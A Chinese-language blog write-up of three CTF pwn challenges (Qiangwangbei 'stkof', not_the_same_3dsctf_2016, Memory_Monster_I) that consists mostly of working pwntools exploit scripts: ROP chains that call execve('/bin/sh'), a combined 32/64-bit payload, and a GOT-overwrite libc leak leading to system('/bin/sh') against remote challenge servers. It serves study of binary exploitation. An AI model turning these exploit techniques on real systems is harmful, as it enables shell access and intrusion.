强网杯 stkof 拟态防御&not_the_same_3dsctf_2016

原创

梦回Altay 于 2021-02-07 17:21:27 发布 79 收藏
分类专栏： pwn

pwn 专栏收录该内容
19 篇文章 0 订阅
订阅专栏

强网杯 stkof 拟态防御

之前强网杯的一道简单题，栈溢出，俩程序，静态编译

ropchain 一梭子getshell，因为是拟态防御，所以必须一个payload 同时打俩程序，熟悉rop链构造，就很愉快，否则就比较尴尬。

exp:

```
from pwn import *
#p=remote
p=process("./pwn2")st
p.recvuntil('try to pwn it?\n')

rop32=''
rop32+=struct.pack('<I', 0x0806e9cb) # porop64edx ; ret
rop32+=struct.pack('<I', 0x080d9060) # @ .data
rop32+=struct.pack('<I', 0x080a8af6) # porop64eax ; ret
rop32+= '/bin'
rop32+=struct.pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32+=struct.pack('<I', 0x0806e9cb) # porop64edx ; ret
rop32+=struct.pack('<I', 0x080d9064) # @ .data + 4
rop32+=struct.pack('<I', 0x080a8af6) # porop64eax ; ret
rop32+= '//sh'
rop32+=struct.pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32+=struct.pack('<I', 0x0806e9cb) # porop64edx ; ret
rop32+=struct.pack('<I', 0x080d9068) # @ .data + 8
rop32+=struct.pack('<I', 0x08056040) # xor eax, eax ; ret
rop32+=struct.pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32+=struct.pack('<I', 0x080481c9) # porop64ebx ; ret
rop32+=struct.pack('<I', 0x080d9060) # @ .data
rop32+=struct.pack('<I', 0x0806e9f2) # porop64ecx ; porop64ebx ; ret
rop32+=struct.pack('<I', 0x080d9068) # @ .data + 8
rop32+=struct.pack('<I', 0x080d9060) # padding without overwrite ebx
rop32+=struct.pack('<I', 0x0806e9cb) # porop64edx ; ret
rop32+=struct.pack('<I', 0x080d9068) # @ .data + 8
rop32+=struct.pack('<I', 0x08056040) # xor eax, eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
```

```
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x0807be5a) # inc eax ; ret
rop32+=struct.pack('<I', 0x080495a3) # int 0x80

rop64= ''
rop64+=struct.pack('<Q', 0x0000000000405895) # porop64rsi ; ret
rop64+=struct.pack('<Q', 0x00000000006a10e0) # @ .data
rop64+=struct.pack('<Q', 0x000000000043b97c) # porop64rax ; ret
rop64+= '/bin//sh'
#p+='cat /flag'
rop64+=struct.pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64+=struct.pack('<Q', 0x0000000000405895) # porop64rsi ; ret
rop64+=struct.pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64+=struct.pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64+=struct.pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64+=struct.pack('<Q', 0x00000000004005f6) # porop64rdi ; ret
rop64+=struct.pack('<Q', 0x00000000006a10e0) # @ .data
rop64+=struct.pack('<Q', 0x0000000000405895) # porop64rsi ; ret
rop64+=struct.pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64+=struct.pack('<Q', 0x000000000043b9d5) # porop64rdx ; ret
rop64+=struct.pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64+=struct.pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64+=struct.pack('<Q', 0x000000000043b97c) # porop64rax ; ret
rop64+= p64(59)
rop64+=struct.pack('<Q', 0x000000000046713f) # syscall


add_esp_xc=0x080a8f69
add_esp_d8 =0x4079d4

payload = 'aaa'.ljust(0x110,"\x00") + p64(add_esp_xc)+p64(add_esp_d8)+rop32.ljust(0xd8,"\x00")+rop64
p.sendline(payload)
p.interactive()
```

64位的rop 注意一下porop64rax ; ret 直接用ROPgadget 搞出来的ropchain老长，get不了shell，改一下那个连续的置rax的那段才行。

not_the_same_3dsctf_2016

gets函数，静态编译

exp：

```python
 #!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from sys import *
from struct import pack
debug=0

context.log_level='debug'
context.arch='i386'

if debug:
    p=process("./not_the_same_3dsctf_2016")
    gdb.attach(p, "b*0x8048A00")
else:
    host = "node3.buuoj.cn"
    port =25479
    p=remote(host, port)
 # Padding goes here
payload = 'a'*0x2d
payload +=struct.pack('<I', 0x0806fcca) # pop edx ; ret
payload +=struct.pack('<I', 0x080eb060) # @ .data
payload +=struct.pack('<I', 0x08048b0b) # pop eax ; ret
payload += '/bin'
payload +=struct.pack('<I', 0x0805586b) # mov dword ptr [edx], eax ; ret
payload +=struct.pack('<I', 0x0806fcca) # pop edx ; ret
payload +=struct.pack('<I', 0x080eb064) # @ .data + 4
payload +=struct.pack('<I', 0x08048b0b) # pop eax ; ret
payload += '//sh'
payload +=struct.pack('<I', 0x0805586b) # mov dword ptr [edx], eax ; ret
payload +=struct.pack('<I', 0x0806fcca) # pop edx ; ret
payload +=struct.pack('<I', 0x080eb068) # @ .data + 8
payload +=struct.pack('<I', 0x08049423) # xor eax, eax ; ret
payload +=struct.pack('<I', 0x0805586b) # mov dword ptr [edx], eax ; ret
payload +=struct.pack('<I', 0x080481ad) # pop ebx ; ret
payload +=struct.pack('<I', 0x080eb060) # @ .data
payload +=struct.pack('<I', 0x0806fcf1) # pop ecx ; pop ebx ; ret
payload +=struct.pack('<I', 0x080eb068) # @ .data + 8
payload +=struct.pack('<I', 0x080eb060) # padding without overwrite ebx
payload +=struct.pack('<I', 0x0806fcca) # pop edx ; ret
payload +=struct.pack('<I', 0x080eb068) # @ .data + 8
payload +=struct.pack('<I', 0x08049423) # xor eax, eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0807b2af) # inc eax ; ret
payload +=struct.pack('<I', 0x0806d8a5) # int 0x80

p.sendline(payload)
p.interactive()
```

安恒月赛

Memory_Monster_I

exp：

```
from pwn import *
from sys import *
debug=1
context.log_level='debug'
context.arch='amd64'

if debug:
    p=remote("183.129.189.60",10083)#process("./Memory_Monster_I")#
    lib =ELF("./libc6_2.30-0ubuntu2_amd64.so") #ELF('/lib/x86_64-linux-gnu/libc.so.6')#
else:
    host = argv[1]
    port = int(argv[2])
    p=remote(host, port)
put_got = 0x404018
read_got = 0x404038
put_plt = 0x401030
pop_rdi = 0x4012bb
main = 0x401172
ret = 0x401248
door = 0x40124A
write_got = 0x404020
stack_got = p64(0x404028)+'a'*0x30+p64(pop_rdi)+p64(0x404040)+p64(put_plt)+p64(main)
p.recvuntil("addr:")
p.sendline(stack_got)
boor = p64(ret)
p.recvuntil("data:")
p.sendline(boor)

lib_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x087d50#- lib.symbols['puts']
print "lib:"+hex(lib_base)

sys = lib_base +lib.symbols['system']#0x0554e0
bin = lib_base +lib.search('/bin/sh').next()
ogg = lib_base +0x45216#
pay =  p64(0x404028)+'a'*0x30+p64(ret)+p64(pop_rdi)+p64(bin)+p64(sys)+p64(sys)
#pay =  p64(0x404028)+'a'*0x30+p64(ogg)+p64(ogg)+p64(ogg)

p.recvuntil("addr:")
p.sendline(pay)
boor = p64(ret)
p.recvuntil("data:")
p.sendline(boor)
p.interactive()
```

给的后门函数用不了，远程的libc 版本查不到？？去si。冷静冷静。。心态要好